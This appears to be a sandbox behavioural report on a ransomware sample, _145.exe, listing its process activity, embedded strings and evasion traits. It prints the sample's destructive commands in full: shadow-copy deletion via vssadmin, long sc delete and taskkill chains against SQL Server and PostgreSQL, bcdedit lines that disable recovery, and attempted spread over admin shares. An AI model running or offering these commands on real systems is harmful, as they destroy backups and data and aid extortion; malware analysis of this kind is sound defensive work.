Source: C:\Users\user\Desktop\_145.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\_145.exe C:\Users\user\Desktop\_145.exe
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\vssadmin.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc delete "MSSQLFDLauncher"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc delete "MSSQLFDLauncher"
Source: C:\Users\user\Desktop\_145.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\89dad5d484a9f889a3a8dfca823edc3e_9e146be9-c76a-4720-bcdb-53011b87bd06 Jump to behavior
Source: classification engine Classification label: mal100.rans.spyw.evad.winEXE@16/1026@1/5
Source: C:\Users\user\Desktop\_145.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4712:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6540:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4852:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6400:120:WilError_03
Source: Window Recorder Window detected: More than 3 window changes detected
Source: _145.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: _145.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: _145.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: _145.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: _145.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: _145.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: _145.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: _145.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\HOW TO BACK FILES.txtt source: _145.exe, 00000000.00000003.2463883716.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2448155795.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2474161549.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2468665310.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2446209908.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2421851748.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2470248366.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2424145871.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2444794305.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2458250816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: WINLOA~1.PDBwinload_prod.pdb source: _145.exe, 00000000.00000003.2768934459.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2768594020.00000000046B9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3033685962.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.\u source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.erroro source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*y\n source: _145.exe, 00000000.00000003.3043931816.0000000004E6D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3063871047.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3042976121.0000000004E5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: WINLOA~1.PDBwinload_prod.pdbansferApiGroup003495205506.txtf-4 source: _145.exe, 00000000.00000003.2419605565.0000000004710000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\HOW TO BACK FILES.txtxtxC;Gl source: _145.exe, 00000000.00000003.2810948305.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2808026680.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\* source: _145.exe, 00000000.00000003.3033904369.0000000000C42000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: *ntkrnlmp.pdb.x source: _145.exe, 00000000.00000003.2768934459.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3033685962.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp
Source: _145.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: _145.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: _145.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: _145.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: _145.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Persistence and Installation Behavior
barindex
Uses bcdedit to modify the Windows boot settings
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no Jump to behavior
May use bcdedit to modify the Windows boot settings
Source: _145.exe Binary or memory string: 0.%d%duser=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%dPOST%s|%s|%s|%dSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe-lr-d-p-path-queueC:\*C:\HOW TO RECOVER !!.TXT\sysnative\vssadmin.exe delete shadows /all /quietopen89A72EF01PowrProf.dllPowerSetActiveSchemeSeTakeOwnershipPrivilegeSeDebugPrivilegeNtQueryObjectntdll.dlluser32.dllShutdownBlockReasonCreatewindowDo NOT shutdown OR reboot your PC: this might damage your files permanently !valueSOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDownSOFTWARE\Microsoft\PolicyManager\default\Start\HideRestartSOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOutshutdownwithoutlogonSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemMaxConnectionTimeSOFTWARE\Policies\Microsoft\Windows NT\Terminal ServicesMaxDisconnectionTimeMaxIdleTimevector too longNtQuerySystemInformation\AES-128-ECBAES-192-ECBAES-256-ECBAES-128-CBCAES-192-CBCAES-256-CBCAES-128-CFB128AES-192-CFB128AES-256-CFB128AES-128-OFBAES-192-OFBAES-256-OFBAES-128-CTRAES-192-CTRAES-256-CTRAES-128-XTSAES-256-XTSAES-128-GCMAES-192-GCMAES-256-GCMAES-128-CCMAES-192-CCMAES-256-CCMAES-128-CCM*-NO-TAGAES-192-CCM*-NO-TAGAES-256-CCM*-NO-TAGCAMELLIA-128-ECBCAMELLIA-192-ECBCAMELLIA-256-ECBCAMELLIA-128-CBCCAMELLIA-192-CBCCAMELLIA-256-CBCCAMELLIA-128-CFB128CAMELLIA-192-CFB128CAMELLIA-256-CFB128CAMELLIA-128-CTRCAMELLIA-192-CTRCAMELLIA-256-CTRCAMELLIA-128-GCMCAMELLIA-192-GCMCAMELLIA-256-GCMCAMELLIA-128-CCMCAMELLIA-192-CCMCAMELLIA-256-CCMCAMELLIA-128-CCM*-NO-TAGCAMELLIA-192-CCM*-NO-TAGCAMELLIA-256-CCM*-NO-TAGARIA-128-ECBARIA-192-ECBARIA-256-ECBARIA-128-CBCARIA-192-CBCARIA-256-CBCARIA-128-CFB128ARIA-192-CFB128ARIA-256-CFB128ARIA-128-CTRARIA-192-CTRARIA-256-CTRARIA-128-GCMARIA-192-GCMARIA-256-GCMARIA-128-CCMARIA-192-CCMARIA-256-CCMARIA-128-CCM*-NO-TAGARIA-192-CCM*-NO-TAGARIA-256-CCM*-NO-TAGDES-ECBDES-CBCDES-EDE-ECBDES-EDE-CBCDES-EDE3-ECBDES-EDE3-CBCCHACHA20CHACHA20-POLY1305AES-128-KWAES-192-KWAES-256-KWAES-128-KWPAES-192-KWPAES-256-KWPMD5RIPEMD160SHA1SHA224SHA256SHA384SHA512
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc delete "MSSQLFDLauncher"

Hooking and other Techniques for Hiding and Protection
barindex
Creates files in the recycle bin to hide itself
Source: C:\Users\user\Desktop\_145.exe File created: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\HOW TO BACK FILES.txt Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\_145.exe TID: 6408 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\_145.exe TID: 6408 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\_145.exe TID: 6408 Thread sleep time: -1800000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\_145.exe TID: 6408 Thread sleep time: -3600000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\_145.exe TID: 6408 Thread sleep time: -7200000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\_145.exe TID: 6408 Thread sleep time: -18000000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\_145.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Thread delayed: delay time: 1800000 Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Thread delayed: delay time: 3600000 Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Thread delayed: delay time: 7200000 Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Thread delayed: delay time: 18000000 Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Thread delayed: delay time: 1800000 Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Thread delayed: delay time: 3600000 Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Thread delayed: delay time: 7200000 Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Thread delayed: delay time: 18000000 Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File Volume queried: C:\Users\user\Desktop FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File Volume queried: \Device\CdRom0\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\ Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\SOPHIA\ Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: C:\Documents and Settings\user\Local Settings\Adobe\ Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\ Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: C:\Documents and Settings\user\Local Settings\ Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\Cache\ Jump to behavior
Source: _145.exe, 00000000.00000003.2110067734.0000000004E81000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2245047160.0000000004E7B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2095863535.0000000004E81000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2146871586.0000000004E7B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2996841089.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2247133630.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2091274630.0000000004E81000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2121227815.0000000004E81000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2258059115.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2276294552.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2908080429.0000000004E74000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: _145.exe, 00000000.00000003.2058863822.000000000469F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\h
Enables debug privileges
Source: C:\Users\user\Desktop\_145.exe Process token adjusted: Debug Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c sc delete "mssqlfdlauncher"&&sc delete "mssqlserver"&&sc delete "sqlserveragent"&&sc delete "sqlbrowser"&&sc delete "sqltelemetry"&&sc delete "msdtsserver130"&&sc delete "ssistelemetry130"&&sc delete "sqlwriter"&&sc delete "mssql$veeamsql2012"&&sc delete "sqlagent$veeamsql2012"&&sc delete "mssql"&&sc delete "sqlagent"&&sc delete "mssqlserveradhelper100"&&sc delete "mssqlserverolapservice"&&sc delete "msdtsserver100"&&sc delete "reportserver"&&sc delete "sqltelemetry$hl"&&sc delete "tmbmserver"&&sc delete "mssql$progid"&&sc delete "mssql$wolterskluwer"&&sc delete "sqlagent$progid"&&sc delete "sqlagent$wolterskluwer"&&sc delete "mssqlfdlauncher$optima"&&sc delete "mssql$optima"&&sc delete "sqlagent$optima"&&sc delete "reportserver$optima"&&sc delete "msftesql$sqlexpress"&&sc delete "postgresql-x64-9.4"&&rem kill "sql"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im msdtssrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im ssms.exe&&taskkill -f -im sqlagent.exe&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im reportingservicesservice.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c sc delete "mssqlfdlauncher"&&sc delete "mssqlserver"&&sc delete "sqlserveragent"&&sc delete "sqlbrowser"&&sc delete "sqltelemetry"&&sc delete "msdtsserver130"&&sc delete "ssistelemetry130"&&sc delete "sqlwriter"&&sc delete "mssql$veeamsql2012"&&sc delete "sqlagent$veeamsql2012"&&sc delete "mssql"&&sc delete "sqlagent"&&sc delete "mssqlserveradhelper100"&&sc delete "mssqlserverolapservice"&&sc delete "msdtsserver100"&&sc delete "reportserver"&&sc delete "sqltelemetry$hl"&&sc delete "tmbmserver"&&sc delete "mssql$progid"&&sc delete "mssql$wolterskluwer"&&sc delete "sqlagent$progid"&&sc delete "sqlagent$wolterskluwer"&&sc delete "mssqlfdlauncher$optima"&&sc delete "mssql$optima"&&sc delete "sqlagent$optima"&&sc delete "reportserver$optima"&&sc delete "msftesql$sqlexpress"&&sc delete "postgresql-x64-9.4"&&rem kill "sql"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im msdtssrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im ssms.exe&&taskkill -f -im sqlagent.exe&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im reportingservicesservice.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures Jump to behavior
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\sc.exe sc delete "MSSQLFDLauncher"
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\_145.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\notepad.exe Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt VolumeInformation
Source: C:\Users\user\Desktop\_145.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Opens network shares
Source: C:\Users\user\Desktop\_145.exe File opened: \\224.0.0.22\admin$\ozon.exe Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: \\224.0.0.22\admin$\ozon.exe Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: \\224.0.0.22\c$\ozon.exe Jump to behavior
Source: C:\Users\user\Desktop\_145.exe File opened: \\224.0.0.22\c$\ozon.exe Jump to behavior
